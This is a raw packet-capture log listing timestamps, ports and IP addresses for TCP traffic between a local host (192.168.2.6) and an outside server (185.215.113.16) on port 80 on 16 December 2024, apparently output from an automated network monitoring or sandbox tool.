Dec 16, 2024 15:02:20.813430071 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.813569069 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.813627005 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.814007998 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.814053059 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.814096928 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.814162016 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.814905882 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.814958096 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.814963102 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.815054893 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.815900087 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.815932989 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.815973997 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.816035032 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.816720963 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.816798925 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.816972971 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.817018986 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.817641020 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.817652941 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.817811966 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.818538904 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.818625927 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.818630934 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.818691969 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.819411993 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.819437981 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.819473028 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.819509983 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.820250988 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.820370913 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.820533991 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.820533991 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.821120024 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.821197987 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.821454048 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.821506023 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.822025061 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.822036982 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.822115898 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.822885036 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.823014975 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.823050022 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.823122025 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.823913097 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.823977947 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.824101925 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.824151993 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.824678898 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.824728966 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.825062990 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.825144053 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.825584888 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.825607061 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.825695992 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.826427937 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.826528072 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.826561928 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.826638937 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.827343941 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.827446938 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.827517986 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.828505993 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.828933001 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.829010963 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.829272032 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.829286098 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.829452038 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.830049038 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.830137014 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.830171108 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.830255032 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.830909967 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.830960989 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.831336975 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.831388950 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.831810951 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.831867933 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.831968069 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.832026958 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.832731962 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.832745075 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.832792044 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.833574057 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.833745003 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.833781958 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.833807945 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.834455013 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.834588051 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.834815979 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.835059881 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.835463047 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.835477114 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.835513115 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.835556984 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.836249113 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.836319923 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.836724997 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.836781025 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.837119102 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.837173939 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.837650061 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.837766886 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.838000059 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.838052988 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.983139038 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.983259916 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.983277082 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.983338118 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.983604908 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.983757973 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.983799934 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.983799934 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.983911037 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.984062910 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.984846115 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.984910011 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.985297918 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.985352993 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.985673904 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.985737085 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.985786915 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.985786915 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.986430883 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.986536026 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.986629963 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.987232924 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.987299919 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.987334013 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.987514019 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.988289118 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.988356113 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.989039898 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.989115953 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.989129066 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.989168882 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.989214897 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.989947081 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.990115881 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.990833044 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.990993977 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.991270065 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.991770983 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.991928101 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.991939068 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.992629051 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.992786884 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.993108034 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.993351936 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.993521929 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.993546963 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.993606091 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.994405031 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.995354891 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.995368004 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.995379925 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.995424032 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.995474100 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.996206045 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.996437073 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.996462107 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.996546030 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.997018099 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.997131109 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.997936010 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.997977972 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.997992039 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.998013973 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.998034000 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.998842001 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.998898983 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.998915911 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.999064922 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.999696016 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.999823093 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.999964952 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.000391006 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.000605106 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.000775099 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.000844955 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.001494884 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.001509905 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.001560926 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.002495050 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.002528906 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.002650976 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.003257990 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.004092932 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.004159927 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.004173040 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.004228115 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.004228115 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.004298925 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.004724979 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.005090952 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.005201101 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.005326033 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.005965948 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.005981922 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.006006956 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.006088018 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.006833076 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.006994009 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.007597923 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.007751942 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.007879972 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.007894993 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.007951021 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.007951021 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.008821964 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.008919954 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.009470940 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.009488106 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.009562969 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.009768009 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.010080099 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.010335922 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.010808945 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.011326075 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.011357069 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.011369944 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.011425972 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.011425972 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.012157917 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.012953043 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.013114929 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.013133049 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.013190985 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.013283014 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.013283014 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.014074087 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.014178038 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.014215946 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.014781952 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.014872074 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.015033960 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.015443087 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.015734911 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.015754938 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.015799999 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.015799999 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.016705036 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.016720057 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.016828060 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.017509937 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.017616987 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.017662048 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.017662048 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.018594027 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.018611908 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.019252062 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.019305944 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.019305944 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.019391060 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.020150900 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.020204067 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.020382881 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.020894051 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.021085978 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.021204948 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.021662951 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.021914005 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.021955013 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.021955013 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.022018909 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.022593021 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.023022890 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.023251057 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.023308039 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.023673058 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.023873091 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.023873091 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.023940086 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.024395943 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.024610043 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.025207043 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.025207043 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.025305033 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.026169062 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.026185036 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.026243925 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.026340008 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.026380062 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.026438951 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.026817083 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.027254105 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.027393103 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.027719975 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.027827024 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.028160095 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.028172970 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.028306007 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.029073000 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.029222012 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.029814005 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.029905081 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.176770926 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.176892042 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.177022934 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.177025080 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.177025080 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.177331924 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.177928925 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.177942038 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.177966118 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.177989006 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.178157091 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.178812981 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.178865910 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.178941965 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.179358006 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.179672956 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.179738045 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.179794073 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.180068016 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.181000948 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.181013107 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.181082964 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.181082964 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.181493044 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.181504965 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.181550026 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.182343006 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.182391882 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.183218002 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.183284044 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.183363914 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.183377028 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.183423996 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.183423996 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.184243917 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.184256077 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.184340954 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.184340954 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.185147047 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.185159922 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.185997009 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.186009884 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.186187983 CET	49892	80	192.168.2.6	185.215.113.16
